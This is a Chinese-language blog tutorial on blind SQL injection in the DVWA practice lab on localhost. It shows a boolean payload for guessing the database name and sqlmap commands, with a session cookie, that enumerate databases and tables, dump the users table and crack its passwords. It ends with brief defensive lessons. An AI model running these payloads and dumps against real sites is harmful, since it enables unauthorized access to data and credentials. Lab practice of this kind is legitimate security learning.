以前的sql注入頁面(http://www.javashuo.com/article/p-clbaglhr-cz.html),返回了查詢結果和錯誤信息。而下面的頁面,返回信息只有存在和不存在兩種狀況,錯誤信息頁面也被屏蔽了,這種狀況下咱們能獲得的信息不多,且須要本身判斷注入是否成功,因此叫盲注(名字很形象啊~)html
盲注的注入方法,簡單來講就一個字:猜 ...>_<.... 怎麼猜呢?用猜數據庫名稱長度來舉個栗子:python
輸入:1' and length(database()) = 1 #git
輸出:User ID is MISSING from the databasegithub
根據輸出,數據庫名長度不爲1,而後再猜想2,3,4。。。直到猜對爲止,而後再來猜數據庫名稱的第一個字母,第二個字母。。。直到猜到數據庫名稱算法
Hmmm...這樣猜來猜去很費時間啊,這種事情是否是能夠自動化一下,我都能想到,大神們早就想到了,就是這個工具:sqlmapsql
1. sqlmap介紹數據庫
這個工具是開源的,官網和github均可如下載。在使用以前,須要先安裝python環境。如下是sqlmap的自我介紹cookie
2. sqlmap啓動測試工具
打開命令行工具,進入sqlmap解壓後所在的文件夾,個人路徑是E:\...\sqlmap,輸入python sqlmap.py,看到以下信息說明sqlmap已經能夠正常使用測試
3. 用sqlmap獲取全部數據名稱
用F12看了下當前頁面,這個頁面是須要登陸憑證的,因此使用sqlmap時也要帶上登陸憑證
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --dbs
輸出:sqlmap拿到了全部數據庫名稱
4. 用sqlmap獲取當前數據名稱
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch --current-db
輸出:當前數據庫名稱爲dvwa
5. 用sqlmap獲取當前數據中的全部表名
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa --tables
輸出:表名爲guestbook和users
6. 用sqlmap獲取users表中的全部數據
輸入:python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=fubq54c0e9coj528t33l81jk4f; security=low" --batch -D dvwa -T users --dump
輸出:拿到表中全部數據, 還把密碼給破解了。。。不要太貼心啊~
一點點感悟:
1. 敏感信息不要用太簡單的加密算法,很容易被破解。。。
2. 用cookie存儲登陸憑證有風險,或者說會增長風險
如需轉載,請註明出處,這是對他人勞動成果的尊重~